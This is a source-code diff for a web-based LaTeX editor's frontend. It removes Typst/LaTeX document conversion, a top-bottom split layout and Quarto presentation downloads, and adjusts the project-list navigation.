"export_as_latex": "",
"export_as_markdown": "",
"export_as_typst": "",
"export_csv": "",
"export_project_to_github": "",
"failed": "",
@@ -1018,7 +1010,6 @@
"institution_templates": "",
"integrations": "",
"integrations_like_github": "",
"interface_language": "",
"interested_in_cheaper_personal_plan": "",
"invalid_confirmation_code": "",
"invalid_email": "",
@@ -1102,7 +1093,6 @@
"last_verified": "",
"latam_discount_modal_info": "",
"latam_discount_modal_title": "",
"latex_export_feedback_message": "",
"latex_places_figures_according_to_a_special_algorithm": "",
"latex_places_tables_according_to_a_special_algorithm": "",
"layout_options": "",
@@ -1276,8 +1266,6 @@
"n_more_updates_above_plural": "",
"n_more_updates_below": "",
"n_more_updates_below_plural": "",
"n_projects_selected": "",
"n_projects_selected_plural": "",
"name": "",
"name_usage_explanation": "",
"navigation": "",
@@ -1478,6 +1466,8 @@
"please_ask_the_project_owner_to_upgrade_to_track_changes": "",
"please_change_primary_to_remove": "",
"please_compile_pdf_before_download": "",
"python_packages": "",
"python_packages_help": "",
"please_confirm_primary_email_or_edit": "",
"please_confirm_secondary_email_or_edit": "",
"please_confirm_your_email_before_making_it_default": "",
@@ -1512,14 +1502,14 @@
"premium_plan_label": "",
"preparing_for_export": "",
"preparing_your_download": "",
"present": "",
"present_publishes_and_opens_in_new_tab": "",
"presentation_export_can_take_a_moment": "",
"presentation_export_failed": "",
"presentation_link_members": "",
"presentation_link_private": "",
"presentation_link_public": "",
"presentation_mode": "",
"present": "",
"present_publishes_and_opens_in_new_tab": "",
"press_shift_space_for_suggestions": "",
"press_space_to_open_the_ai_assistant": "",
"preview": "",
@@ -1592,8 +1582,6 @@
"pull_github_changes_into_sharelatex": "",
"push_sharelatex_changes_to_github": "",
"push_to_github_pull_to_overleaf": "",
"python_packages": "",
"python_packages_help": "",
"quoted_text": "",
"raw_logs": "",
"raw_logs_description": "",
@@ -1918,7 +1906,6 @@
"sort_by": "",
"sort_by_x": "",
"sort_projects": "",
"source_code": "",
"speak": "",
"speech_input_not_available": "",
"spellcheck": "",
@@ -2227,7 +2214,6 @@
"tooltip_hide_pdf": "",
"tooltip_show_panel": "",
"tooltip_show_pdf": "",
"top_bottom_split_view": "",
"total_due_in_x_days": "",
"total_due_today": "",
"total_per_month": "",
@@ -2264,12 +2250,6 @@
"turn_off_link_sharing": "",
"turn_on": "",
"turn_on_link_sharing": "",
"typst_export_feedback_message": "",
"typst_preview_mode": "",
"typst_preview_pdf": "",
"typst_preview_wasm": "",
"typst_wasm_error": "",
"typst_wasm_loading": "",
"unarchive": "",
"uncategorized": "",
"uncategorized_projects": "",
@@ -8,7 +8,6 @@ import { usePermissionsContext } from '@/features/ide-react/context/permissions-
import FileTreeActionButton from './file-tree-action-button'
import { useRailContext } from '../../ide-react/context/rail-context'
import PythonRequirementsModal from './python-requirements-modal'
import { useProjectSettingsContext } from '@/features/editor-left-menu/context/project-settings-context'
export default function FileTreeActionButtons({
fileTreeExpanded,
@@ -20,8 +19,6 @@ export default function FileTreeActionButtons({
const { write } = usePermissionsContext()
const { handlePaneCollapse } = useRailContext()
const [showPythonModal, setShowPythonModal] = useState(false)
const { compiler } = useProjectSettingsContext()
const isQuarto = compiler === 'quarto'
const {
canCreate,
@@ -115,7 +112,7 @@ export default function FileTreeActionButtons({
iconType="delete"
/>
)}
{write && isQuarto && (
{write && (
<FileTreeActionButton
id="python-packages"
description={t('python_packages')}
@@ -173,24 +173,6 @@ export default function FileTreeUploadDoc() {
// limit: maxConnections || 1,
limit: 1,
fieldName: 'qqfile', // "qqfile" field inherited from FineUploader
// The server sends HTTP 200 + a keepalive '\n' byte immediately to
// prevent upstream proxy timeouts on slow connections, then streams
// the actual JSON result as the final chunk. Trim before parsing.
getResponseData: (responseText: string) => {
try {
return JSON.parse(responseText.trim())
} catch {
return {}
}
},
validateStatus: (statusCode: number, responseText: string) => {
if (statusCode < 200 || statusCode >= 300) return false
try {
return JSON.parse(responseText.trim()).success === true
} catch {
return false
}
},
})
// close the modal when all the uploads completed successfully
.on('complete', result => {
@@ -30,8 +30,7 @@ function FileTreeItemInner({
onClick?: () => void
}) {
const { fileTreeReadOnly } = useFileTreeData()
const { setContextMenuCoords, setContextMenuEntityId } =
useFileTreeMainContext()
const { setContextMenuCoords } = useFileTreeMainContext()
const { isRenaming } = useFileTreeActionable()
const { selectedEntityIds } = useFileTreeSelectable()
@@ -74,7 +73,6 @@ function FileTreeItemInner({
ev.preventDefault()
setContextMenuEntityId(id)
setContextMenuCoords({
top: ev.pageY,
left: ev.pageX,
@@ -2,31 +2,12 @@ import { useCallback } from 'react'
import { useTranslation } from 'react-i18next'
import * as eventTracking from '../../../../infrastructure/event-tracking'
import { useProjectContext } from '@/shared/context/project-context'
import { postJSON } from '@/infrastructure/fetch-json'
import type { ProjectCompiler } from '@ol-types/project-settings'
import {
DropdownDivider,
DropdownItem,
} from '@/shared/components/dropdown/dropdown-menu'
import { useFileTreeActionable } from '../../contexts/file-tree-actionable'
import { useFileTreeSelectable } from '../../contexts/file-tree-selectable'
import { useFileTreeData } from '@/shared/context/file-tree-data-context'
import { useFileTreeMainContext } from '../../contexts/file-tree-main'
import { findInTree } from '../../util/find-in-tree'
import useConvertDoc from '@/features/ide-react/hooks/use-convert-doc'
import getMeta from '@/utils/meta'
import { isValidTeXFile } from '@/main/is-valid-tex-file'
const COMPILER_BY_EXT: Record<string, ProjectCompiler> = {
tex: 'pdflatex',
rtex: 'pdflatex',
ltx: 'pdflatex',
rnw: 'pdflatex',
typ: 'typst',
qmd: 'quarto',
rmd: 'quarto',
}
function FileTreeItemMenuItems() {
const { t } = useTranslation()
@@ -42,62 +23,12 @@ function FileTreeItemMenuItems() {
startUploadingDocOrFile,
downloadPath,
selectedFileName,
canSetRootDocId,
setRootDocId,
} = useFileTreeActionable()
const { project, projectId, updateProject } = useProjectContext()
const { project } = useProjectContext()
const projectOwner = project?.owner?._id
const rootDocId = project?.rootDocId
const { fileTreeData, fileTreeReadOnly } = useFileTreeData()
const { selectedEntityIds } = useFileTreeSelectable()
const { contextMenuEntityId } = useFileTreeMainContext()
const selectedEntityId =
selectedEntityIds.size === 1 ? Array.from(selectedEntityIds)[0] : null
// Use context-menu-target entity for convert/set-as-main; falls back to selection
const convertEntityId = contextMenuEntityId ?? selectedEntityId
const convertEntity = convertEntityId
? findInTree(fileTreeData, convertEntityId)
: null
const isConvertableDoc = convertEntity?.type === 'doc'
const convertEntityName = convertEntity?.entity.name ?? null
const enablePandocConversions =
getMeta('ol-ExposedSettings')?.enablePandocConversions
const canConvertToTypst =
enablePandocConversions &&
!fileTreeReadOnly &&
isConvertableDoc &&
convertEntityName?.endsWith('.tex')
const canConvertToLatex =
enablePandocConversions &&
!fileTreeReadOnly &&
isConvertableDoc &&
convertEntityName?.endsWith('.typ')
const canShowSetAsMain =
!fileTreeReadOnly &&
isConvertableDoc &&
!!convertEntityId &&
convertEntityId !== rootDocId &&
!!convertEntityName &&
isValidTeXFile(convertEntityName)
const handleSetAsMain = useCallback(async () => {
if (!convertEntityId || !convertEntityName) return
const ext = convertEntityName.split('.').pop()?.toLowerCase() ?? ''
const newCompiler = COMPILER_BY_EXT[ext]
const body: Record<string, string> = { rootDocId: convertEntityId }
if (newCompiler && newCompiler !== project?.compiler) body.compiler = newCompiler
await postJSON(`/project/${projectId}/settings`, { body })
const update: Record<string, string> = { rootDocId: convertEntityId }
if (newCompiler) update.compiler = newCompiler
updateProject(update)
}, [convertEntityId, convertEntityName, project, projectId, updateProject])
const { convert: convertToTypst } = useConvertDoc('typst', convertEntityId)
const { convert: convertToLatex } = useConvertDoc('latex', convertEntityId)
const downloadWithAnalytics = useCallback(() => {
// we are only interested in downloads of bib files WRT analytics, for the purposes of promoting the tpr integrations
@@ -134,35 +65,16 @@ function FileTreeItemMenuItems() {
</DropdownItem>
</li>
) : null}
{canShowSetAsMain ? (
{canSetRootDocId ? (
<>
<DropdownDivider />
<li role="none">
<DropdownItem onClick={handleSetAsMain}>
<DropdownItem onClick={setRootDocId}>
{t('set_as_main_document')}
</DropdownItem>
</li>
</>
) : null}
{(canConvertToTypst || canConvertToLatex) ? (
<>
<DropdownDivider />
{canConvertToTypst && (
<li role="none">
<DropdownItem onClick={convertToTypst}>
{t('convert_to_typst')}
</DropdownItem>
</li>
)}
{canConvertToLatex && (
<li role="none">
<DropdownItem onClick={convertToLatex}>
{t('convert_to_latex')}
</DropdownItem>
</li>
)}
</>
) : null}
{canDelete ? (
<>
<DropdownDivider />
@@ -5,8 +5,7 @@ import MaterialIcon from '@/shared/components/material-icon'
function FileTreeItemMenu({ id, name }: { id: string; name: string }) {
const { t } = useTranslation()
const { contextMenuCoords, setContextMenuCoords, setContextMenuEntityId } =
useFileTreeMainContext()
const { contextMenuCoords, setContextMenuCoords } = useFileTreeMainContext()
const menuButtonRef = useRef<HTMLButtonElement>(null)
const isMenuOpen = Boolean(contextMenuCoords)
@@ -14,7 +13,6 @@ function FileTreeItemMenu({ id, name }: { id: string; name: string }) {
function handleClick(event: React.MouseEvent) {
event.stopPropagation()
if (!contextMenuCoords && menuButtonRef.current) {
setContextMenuEntityId(id)
const target = menuButtonRef.current.getBoundingClientRect()
setContextMenuCoords({
top: target.top + target.height / 2,
@@ -9,8 +9,6 @@ const FileTreeMainContext = createContext<
setStartedFreeTrial: (value: boolean) => void
contextMenuCoords: ContextMenuCoords | null
setContextMenuCoords: (value: ContextMenuCoords | null) => void
contextMenuEntityId: string | null
setContextMenuEntityId: (value: string | null) => void
}
| undefined
>(undefined)
@@ -41,9 +39,6 @@ export const FileTreeMainProvider: FC<
}) => {
const [contextMenuCoords, setContextMenuCoords] =
useState<ContextMenuCoords | null>(null)
const [contextMenuEntityId, setContextMenuEntityId] = useState<string | null>(
null
)
return (
<FileTreeMainContext.Provider
@@ -53,8 +48,6 @@ export const FileTreeMainProvider: FC<
setStartedFreeTrial,
contextMenuCoords,
setContextMenuCoords,
contextMenuEntityId,
setContextMenuEntityId,
}}
>
{children}
@@ -1,7 +1,6 @@
import { Panel, PanelGroup } from 'react-resizable-panels'
import classNames from 'classnames'
import { HorizontalResizeHandle } from '@/features/ide-react/components/resize/horizontal-resize-handle'
import { VerticalResizeHandle } from '@/features/ide-react/components/resize/vertical-resize-handle'
import PdfPreview from '@/features/pdf-preview/components/pdf-preview'
import { RailLayout } from '../rail/rail'
import { Toolbar } from '../toolbar/toolbar'
@@ -9,7 +8,7 @@ import { HorizontalToggler } from '@/features/ide-react/components/resize/horizo
import { useTranslation } from 'react-i18next'
import { usePdfPane } from '@/features/ide-react/hooks/use-pdf-pane'
import { useLayoutContext } from '@/shared/context/layout-context'
import { ElementType, useEffect, useState } from 'react'
import { ElementType, useState } from 'react'
import EditorPanel from '../editor/editor-panel'
import { useRailContext } from '../../context/rail-context'
import HistoryContainer from '@/features/ide-react/components/history-container'
@@ -26,19 +25,6 @@ const mainEditorLayoutModalsModules: Array<{
path: string
}> = importOverleafModules('mainEditorLayoutModals')
// Bootstrap md breakpoint — below this we stack panels vertically on mobile
const MOBILE_MQ = '(max-width: 767px)'
// Secondary check: browsers that spoof viewport width (e.g. Tor Browser) still
// expose `pointer: coarse` for real touch hardware.
const TOUCH_MQ = '(pointer: coarse) and (max-width: 1024px)'
function detectMobile() {
return (
window.matchMedia(MOBILE_MQ).matches ||
window.matchMedia(TOUCH_MQ).matches
)
}
export default function MainLayout() {
const [resizing, setResizing] = useState(false)
const { resizing: railResizing } = useRailContext()
@@ -52,29 +38,8 @@ export default function MainLayout() {
} = usePdfPane()
const { view, pdfLayout } = useLayoutContext()
const [isMobile, setIsMobile] = useState(detectMobile)
useEffect(() => {
const handler = () => setIsMobile(detectMobile())
const mq1 = window.matchMedia(MOBILE_MQ)
const mq2 = window.matchMedia(TOUCH_MQ)
mq1.addEventListener('change', handler)
mq2.addEventListener('change', handler)
return () => {
mq1.removeEventListener('change', handler)
mq2.removeEventListener('change', handler)
}
}, [])
// verticalSplit is always vertical; sideBySide becomes vertical on mobile
const isVertical =
pdfLayout === 'verticalSplit' ||
(pdfLayout === 'sideBySide' && isMobile)
const editorIsOpen =
view === 'editor' ||
view === 'file' ||
pdfLayout === 'sideBySide' ||
pdfLayout === 'verticalSplit'
view === 'editor' || view === 'file' || pdfLayout === 'sideBySide'
const { t } = useTranslation()
@@ -93,20 +58,8 @@ export default function MainLayout() {
<Panel id="ide-redesign-editor-and-pdf-panel" order={2}>
<HistoryContainer />
<PanelGroup
key={isVertical ? 'vertical' : 'horizontal'}
autoSaveId={
isVertical
? // On mobile, skip autoSave: a stale collapsed PDF pane
// would fire onCollapse → changeLayout('flat'), overriding
// the verticalSplit default from getInitialLayout().
// The pdf.layout localStorage key already persists the
// user's explicit flat/open preference independently.
isMobile
? null
: 'ide-redesign-editor-and-pdf-panel-group-vertical'
: 'ide-redesign-editor-and-pdf-panel-group'
}
direction={isVertical ? 'vertical' : 'horizontal'}
autoSaveId="ide-redesign-editor-and-pdf-panel-group"
direction="horizontal"
className={classNames({
hidden: view === 'history',
})}
@@ -126,38 +79,29 @@ export default function MainLayout() {
<EditorPanel />
</div>
</Panel>
{isVertical ? (
<VerticalResizeHandle
onDragging={setResizing}
className={classNames({
hidden: !editorIsOpen,
})}
<HorizontalResizeHandle
resizable={pdfLayout === 'sideBySide'}
onDragging={setResizing}
onDoubleClick={togglePdfPane}
hitAreaMargins={{ coarse: 0, fine: 0 }}
className={classNames({
hidden: !editorIsOpen,
})}
>
<HorizontalToggler
id="ide-redesign-pdf-panel"
togglerType="east"
isOpen={isPdfOpen}
setIsOpen={setIsPdfOpen}
tooltipWhenOpen={t('tooltip_hide_pdf')}
tooltipWhenClosed={t('tooltip_show_pdf')}
/>
) : (
<HorizontalResizeHandle
resizable={pdfLayout === 'sideBySide'}
onDragging={setResizing}
onDoubleClick={togglePdfPane}
hitAreaMargins={{ coarse: 0, fine: 0 }}
className={classNames({
hidden: !editorIsOpen,
})}
>
<HorizontalToggler
id="ide-redesign-pdf-panel"
togglerType="east"
isOpen={isPdfOpen}
setIsOpen={setIsPdfOpen}
tooltipWhenOpen={t('tooltip_hide_pdf')}
tooltipWhenClosed={t('tooltip_show_pdf')}
/>
{pdfLayout === 'sideBySide' && (
<div className="synctex-controls">
<DefaultSynctexControl />
</div>
)}
</HorizontalResizeHandle>
)}
{pdfLayout === 'sideBySide' && (
<div className="synctex-controls">
<DefaultSynctexControl />
</div>
)}
</HorizontalResizeHandle>
<Panel
collapsible
className={classNames('ide-redesign-pdf-container', {
@@ -15,12 +15,7 @@ import { isMac } from '@/shared/utils/os'
import { Shortcut } from '@/shared/components/shortcut'
import classNames from 'classnames'
type LayoutOption =
| 'sideBySide'
| 'verticalSplit'
| 'editorOnly'
| 'pdfOnly'
| 'detachedPdf'
type LayoutOption = 'sideBySide' | 'editorOnly' | 'pdfOnly' | 'detachedPdf'
const getActiveLayoutOption = ({
pdfLayout,
@@ -51,10 +46,6 @@ const getActiveLayoutOption = ({
return 'sideBySide'
}
if (pdfLayout === 'verticalSplit') {
return 'verticalSplit'
}
return null
}
@@ -101,14 +92,12 @@ const shortcuts: Record<LayoutOption, string[] | null> = isMac
editorOnly: ['⌃', '⌘', '←'],
pdfOnly: ['⌃', '⌘', '→'],
sideBySide: ['⌃', '⌘', '↓'],
verticalSplit: null,
detachedPdf: ['⌃', '⌘', '↑'],
}
: {
editorOnly: null,
pdfOnly: null,
sideBySide: null,
verticalSplit: null,
detachedPdf: null,
}
@@ -147,18 +136,6 @@ export default function ChangeLayoutOptions() {
>
{t('split_view')}
</LayoutDropdownItem>
<LayoutDropdownItem
onClick={() => handleChangeLayout('verticalSplit')}
active={activeLayoutOption === 'verticalSplit'}
leadingIcon="horizontal_split"
trailingIcon={
shortcuts.verticalSplit && (
<Shortcut keys={shortcuts.verticalSplit} />
)
}
>
{t('top_bottom_split_view')}
</LayoutDropdownItem>
<LayoutDropdownItem
onClick={() => handleChangeLayout('flat', 'editor')}
active={activeLayoutOption === 'editorOnly'}
@@ -42,7 +42,6 @@ const ExportDocumentErrorToast = ({ data }: { data?: any }) => {
}
const ExportDocumentSuccessToast = ({ data }: { data?: any }) => {
const { t } = useTranslation()
const type = data?.type
if (type === 'docx') {
return (
@@ -86,10 +85,6 @@ const ExportDocumentSuccessToast = ({ data }: { data?: any }) => {
]}
/>
)
} else if (type === 'typst') {
return <span>{t('typst_export_feedback_message')}</span>
} else if (type === 'latex') {
return <span>{t('latex_export_feedback_message')}</span>
} else {
return (
<Trans
@@ -180,7 +175,7 @@ export const hidePreparingExportToast = (handle: string) => {
}
export const showExportDocumentSuccess = (
type: 'docx' | 'markdown' | 'html' | 'typst' | 'latex'
type: 'docx' | 'markdown' | 'html'
) => {
window.dispatchEvent(
new CustomEvent('ide:show-toast', {
@@ -6,11 +6,10 @@ import { useCommandProvider } from '../../hooks/use-command-provider'
import OLDropdownMenuItem from '@/shared/components/ol/ol-dropdown-menu-item'
import { useRootDoc } from '@/shared/hooks/use-root-doc'
import { useEditorManagerContext } from '@/features/ide-react/context/editor-manager-context'
import { useProjectSettingsContext } from '@/features/editor-left-menu/context/project-settings-context'
type ExportProjectWithConversionProps = {
featureFlag?: string
conversionType: 'docx' | 'markdown' | 'html' | 'typst' | 'latex'
conversionType: 'docx' | 'markdown' | 'html'
label: string
menuBarId: string
}
@@ -23,11 +22,6 @@ export const ExportProjectWithConversionButton: FC<
const enablePandocConversions =
getMeta('ol-ExposedSettings')?.enablePandocConversions
const anonymous = getMeta('ol-anonymous')
const { compiler } = useProjectSettingsContext()
const isLatexProject = !['typst', 'quarto'].includes(compiler ?? '')
// latex export is for converting Typst projects to LaTeX; all others are for LaTeX projects
const isProjectTypeMatch =
conversionType === 'latex' ? compiler === 'typst' : isLatexProject
const getRootDocInfo = useRootDoc()
const { openDocs } = useEditorManagerContext()
const downloadConversion = useConvertProject(
@@ -37,10 +31,7 @@ export const ExportProjectWithConversionButton: FC<
)
const showExportButton =
splitTestEnabledIfNeeded &&
enablePandocConversions &&
!anonymous &&
isProjectTypeMatch
splitTestEnabledIfNeeded && enablePandocConversions && !anonymous
useCommandProvider(
() =>
@@ -97,8 +97,6 @@ export const ToolbarMenuBar = () => {
'export-as-docx',
'export-as-markdown',
'export-as-html',
'export-as-typst',
'export-as-latex',
],
},
],
@@ -245,7 +243,7 @@ export const ToolbarMenuBar = () => {
>
<ChangeLayoutOptions />
<DropdownDivider />
<DropdownHeader>{t('editor_settings')}</DropdownHeader>
<DropdownHeader>Editor settings</DropdownHeader>
<MenuBarOption
eventKey="show_breadcrumbs"
title={t('show_breadcrumbs')}
@@ -95,16 +95,6 @@ export const ToolbarProjectTitle = () => {
label={t('export_as_html')}
menuBarId="export-as-html"
/>
<ExportProjectWithConversionButton
conversionType="typst"
label={t('export_as_typst')}
menuBarId="export-as-typst"
/>
<ExportProjectWithConversionButton
conversionType="latex"
label={t('export_as_latex')}
menuBarId="export-as-latex"
/>
<DropdownDivider />
<DuplicateProject />
<OLDropdownMenuItem
@@ -1,44 +0,0 @@
import { postJSON } from '@/infrastructure/fetch-json'
import { useProjectContext } from '@/shared/context/project-context'
import { useFileTreeData } from '@/shared/context/file-tree-data-context'
import { useCallback, useState } from 'react'
import {
showExportDocumentError,
showExportDocumentSuccess,
hideExportDocumentError,
} from '../components/toolbar/export-document-toasts'
export default function useConvertDoc(
type: 'typst' | 'latex',
docId: string | null
) {
const { projectId } = useProjectContext()
const { dispatchCreateDoc } = useFileTreeData()
const [converting, setConverting] = useState(false)
const convert = useCallback(async () => {
if (!docId) return
setConverting(true)
hideExportDocumentError()
try {
const result = await postJSON(
`/project/${projectId}/doc/${docId}/convert/${type}`,
{ body: {} }
)
showExportDocumentSuccess(type)
if (result.isNew) {
dispatchCreateDoc(result.parentFolderId, {
_id: result.docId,
name: result.name,
})
}
} catch (err: any) {
const errorMessage = err?.data?.error
showExportDocumentError(errorMessage)
} finally {
setConverting(false)
}
}, [projectId, docId, type, dispatchCreateDoc])
return { convert, converting }
}
@@ -16,7 +16,7 @@ import { OpenDocuments } from '../editor/open-documents'
const SLOW_CONVERSION_THRESHOLD = 2000
export default function useConvertProject(
type: 'docx' | 'markdown' | 'html' | 'typst' | 'latex',
type: 'docx' | 'markdown' | 'html',
openDocs: OpenDocuments,
getRootDocInfo: () => RootDocInfo
) {
@@ -45,7 +45,7 @@ export default function useConvertProject(
if (downloadUrl) {
const url = new URL(downloadUrl, window.location.origin)
location.assign(url.toString())
showExportDocumentSuccess(type as 'docx' | 'markdown' | 'html' | 'typst' | 'latex')
showExportDocumentSuccess(type)
} else {
showExportDocumentError()
}
@@ -8,8 +8,7 @@ export const usePdfPane = () => {
useLayoutContext()
const pdfPanelRef = useRef<ImperativePanelHandle>(null)
const pdfIsOpen =
pdfLayout === 'sideBySide' || pdfLayout === 'verticalSplit' || view === 'pdf'
const pdfIsOpen = pdfLayout === 'sideBySide' || view === 'pdf'
useCollapsiblePanel(pdfIsOpen, pdfPanelRef)
@@ -47,7 +46,7 @@ export const usePdfPane = () => {
// triggered when the PDF pane becomes closed (either by dragging or toggling)
const handlePdfPaneCollapse = useCallback(() => {
if (pdfLayout === 'sideBySide' || pdfLayout === 'verticalSplit') {
if (pdfLayout === 'sideBySide') {
changeLayout('flat', 'editor')
}
}, [changeLayout, pdfLayout])
@@ -51,9 +51,6 @@ function PdfCompileButton() {
smoothPdfTransition,
setSmoothPdfTransition,
isLatexProject,
isTypstProject,
typstPreviewMode,
setTypstPreviewMode,
} = useCompileContext()
const { enableStopOnFirstError, disableStopOnFirstError } =
useStopOnFirstError({ eventSource: 'dropdown' })
@@ -175,30 +172,6 @@ function PdfCompileButton() {
{t('off')}
</DropdownItem>
</li>
{isTypstProject && (
<>
<DropdownDivider />
<DropdownHeader>{t('typst_preview_mode')}</DropdownHeader>
<li role="none">
<DropdownItem
as="button"
onClick={() => setTypstPreviewMode('wasm')}
trailingIcon={typstPreviewMode === 'wasm' ? 'check' : null}
>
{t('typst_preview_wasm')}
</DropdownItem>
</li>
<li role="none">
<DropdownItem
as="button"
onClick={() => setTypstPreviewMode('pdf')}
trailingIcon={typstPreviewMode === 'pdf' ? 'check' : null}
>
{t('typst_preview_pdf')}
</DropdownItem>
</li>
</>
)}
{isLatexProject && (
<>
<DropdownDivider />
@@ -1,4 +1,4 @@
import { ElementType, lazy, memo, Suspense } from 'react'
import { ElementType, memo, Suspense } from 'react'
import classNames from 'classnames'
import PdfViewer from './pdf-viewer'
import { FullSizeLoadingSpinner } from '../../../shared/components/loading-spinner'
@@ -12,22 +12,12 @@ import PdfCodeCheckFailedBanner from '@/features/pdf-preview/components/pdf-code
import getMeta from '@/utils/meta'
import PdfLogsViewer from '@/features/pdf-preview/components/pdf-logs-viewer'
const TypstWasmPreview = lazy(
() =>
import(
/* webpackChunkName: "typst-wasm-preview" */
'@/features/typst-preview/components/typst-wasm-preview'
)
)
function PdfPreviewPane() {
const {
pdfUrl,
pdfViewer,
darkModePdf: darkModeSetting,
activeOverallTheme,
isTypstProject,
typstPreviewMode,
} = useCompileContext()
const { compileTimeout } = getMeta('ol-compileSettings')
const isHtmlOutput = pdfUrl?.includes('output.html')
@@ -36,9 +26,8 @@ function PdfPreviewPane() {
activeOverallTheme === 'dark' &&
darkModeSetting
const isWasmMode = isTypstProject && typstPreviewMode === 'wasm'
const classes = classNames('pdf', 'full-size', {
'pdf-empty': !pdfUrl && !isWasmMode,
'pdf-empty': !pdfUrl,
'pdf-dark-mode': darkModePdf,
})
@@ -57,11 +46,7 @@ function PdfPreviewPane() {
</PdfPreviewMessages>
<Suspense fallback={<FullSizeLoadingSpinner delay={500} />}>
<div className="pdf-viewer" data-testid="pdf-viewer">
{isWasmMode ? (
<TypstWasmPreview />
) : (
<PdfViewer />
)}
<PdfViewer />
</div>
</Suspense>
<PdfLogsViewer />
@@ -12,7 +12,7 @@ function SwitchToEditorButton() {
return null
}
if (pdfLayout === 'sideBySide' || pdfLayout === 'verticalSplit') {
if (pdfLayout === 'sideBySide') {
return null
}
@@ -15,7 +15,6 @@ import LeaveProjectButton from '../table/cells/action-buttons/leave-project-butt
import DeleteProjectButton from '../table/cells/action-buttons/delete-project-button'
import { Project } from '../../../../../../types/project/dashboard/api'
import CompileAndDownloadProjectPDFButton from '../table/cells/action-buttons/compile-and-download-project-pdf-button'
import DownloadPresentationButton from '../table/cells/action-buttons/download-presentation-button'
import RenameProjectButton from '../table/cells/action-buttons/rename-project-button'
import MaterialIcon from '@/shared/components/material-icon'
import OLSpinner from '@/shared/components/ol/ol-spinner'
@@ -78,81 +77,32 @@ function ActionsDropdown({ project }: ActionDropdownProps) {
</li>
)}
</DownloadProjectButton>
{project.compiler === 'quarto' ? (
<DownloadPresentationButton project={project}>
{(startExport, exporting) => (
<>
<li role="none">
<DropdownItem
as="button"
tabIndex={-1}
onClick={() => startExport('html')}
disabled={exporting !== null}
leadingIcon={
exporting === 'html' ? (
<OLSpinner
size="sm"
className="dropdown-item-leading-icon spinner"
/>
) : (
'download'
)
}
>
{t('download_as_standalone_html')}
</DropdownItem>
</li>
<li role="none">
<DropdownItem
as="button"
tabIndex={-1}
onClick={() => startExport('pdf')}
disabled={exporting !== null}
leadingIcon={
exporting === 'pdf' ? (
<OLSpinner
size="sm"
className="dropdown-item-leading-icon spinner"
/>
) : (
'picture_as_pdf'
)
}
>
{t('download_as_pdf_slides')}
</DropdownItem>
</li>
</>
)}
</DownloadPresentationButton>
) : (
<CompileAndDownloadProjectPDFButton project={project}>
{(text, pendingCompile, downloadProject) => (
<li role="none">
<DropdownItem
as="button"
tabIndex={-1}
onClick={e => {
e.stopPropagation()
downloadProject()
}}
leadingIcon={
pendingCompile ? (
<OLSpinner
size="sm"
className="dropdown-item-leading-icon spinner"
/>
) : (
'picture_as_pdf'
)
}
>
{text}
</DropdownItem>
</li>
)}
</CompileAndDownloadProjectPDFButton>
)}
<CompileAndDownloadProjectPDFButton project={project}>
{(text, pendingCompile, downloadProject) => (
<li role="none">
<DropdownItem
as="button"
tabIndex={-1}
onClick={e => {
e.stopPropagation()
downloadProject()
}}
leadingIcon={
pendingCompile ? (
<OLSpinner
size="sm"
className="dropdown-item-leading-icon spinner"
/>
) : (
'picture_as_pdf'
)
}
>
{text}
</DropdownItem>
</li>
)}
</CompileAndDownloadProjectPDFButton>
<ArchiveProjectButton project={project}>
{(text, handleOpenModal) => (
<li role="none">
@@ -67,7 +67,7 @@ function NewProjectButton({
const markdownImportEnabled =
useFeatureFlag('import-markdown') &&
getMeta('ol-ExposedSettings').enablePandocConversions
const { selectedTagId, tags } = useProjectListContext()
const { selectedTagId, tags } = useProjectListContext()
const isLibraryEnabled = isSplitTestEnabled('overleaf-library')
const initialTags =
isLibraryEnabled && selectedTagId
@@ -19,7 +19,7 @@ function ImportDocumentModal({
onHide,
openProject,
}: {
type: 'docx' | 'markdown' | 'typst'
type: 'docx' | 'markdown'
onHide: () => void
openProject: (id: string, convertedFrom?: string) => void
}) {
@@ -39,12 +39,6 @@ function ImportDocumentModal({
browseLabel: 'Select .md file',
dragLabel: '%{browseFiles} or \n\n Drag .md file',
},
typst: {
allowedFileTypes: ['.typ'],
title: t('choose_typst_file'),
browseLabel: 'Select .typ file',
dragLabel: '%{browseFiles} or \n\n Drag .typ file',
},
}),
[t]
)
@@ -21,7 +21,6 @@ export type NewProjectButtonModalVariant =
| 'import_from_github'
| 'import_docx'
| 'import_markdown'
| 'import_typst'
type NewProjectButtonModalProps = {
modal: Nullable<NewProjectButtonModalVariant>
@@ -129,16 +128,6 @@ function NewProjectButtonModal({
/>
</Suspense>
)
case 'import_typst':
return (
<Suspense fallback={<FullSizeLoadingSpinner delay={500} />}>
<ImportDocumentModal
type="typst"
onHide={onHide}
openProject={openProject}
/>
</Suspense>
)
case 'import_from_github':
return <ImportProjectFromGithubModalWrapper onHide={onHide} />
default:
@@ -128,21 +128,20 @@ function BannerContent({
}: {
variant: GroupsAndEnterpriseBannerVariant
}) {
const { appName } = getMeta('ol-ExposedSettings')
switch (variant) {
case 'on-premise':
return (
<span>
{appName} On-Premises: Does your company want to keep its data within
its firewall? {appName} offers Server Pro, an on-premises solution for
Overleaf On-Premises: Does your company want to keep its data within
its firewall? Overleaf offers Server Pro, an on-premises solution for
companies. Get in touch to learn more.
</span>
)
case 'FOMO':
return (
<span>
Why do Fortune 500 companies and top research institutions trust{' '}
{appName} to streamline their collaboration? Get in touch to learn
Why do Fortune 500 companies and top research institutions trust
Overleaf to streamline their collaboration? Get in touch to learn
more.
</span>
)
@@ -44,19 +44,37 @@ export function ProjectListDsNav() {
const tableTopArea = (
<div className="pt-2 pb-3 d-md-none d-flex gap-2">
{showNewProjectButton && (
<NewProjectButton
id="new-project-button-projects-table"
showAddAffiliationWidget
/>
{isLibraryEnabled ? (
<>
<SearchForm
inputValue={searchText}
setInputValue={setSearchText}
filter={filter}
selectedTag={selectedTag}
className="overflow-hidden flex-grow-1"
/>
{showNewProjectButton && (
<NewProjectButton
id="new-project-button-projects-table"
showAddAffiliationWidget
/>
)}
</>
) : (
<>
<NewProjectButton
id="new-project-button-projects-table"
showAddAffiliationWidget
/>
<SearchForm
inputValue={searchText}
setInputValue={setSearchText}
filter={filter}
selectedTag={selectedTag}
className="overflow-hidden flex-grow-1"
/>
</>
)}
<SearchForm
inputValue={searchText}
setInputValue={setSearchText}
filter={filter}
selectedTag={selectedTag}
className="overflow-hidden flex-grow-1"
/>
</div>
)
@@ -89,6 +107,9 @@ export function ProjectListDsNav() {
<ProjectTools />
)}
</div>
<div className="d-md-none">
<CurrentPlanWidget />
</div>
</div>
</div>
<div className="project-ds-nav-project-list">
@@ -124,8 +145,8 @@ export function ProjectListDsNav() {
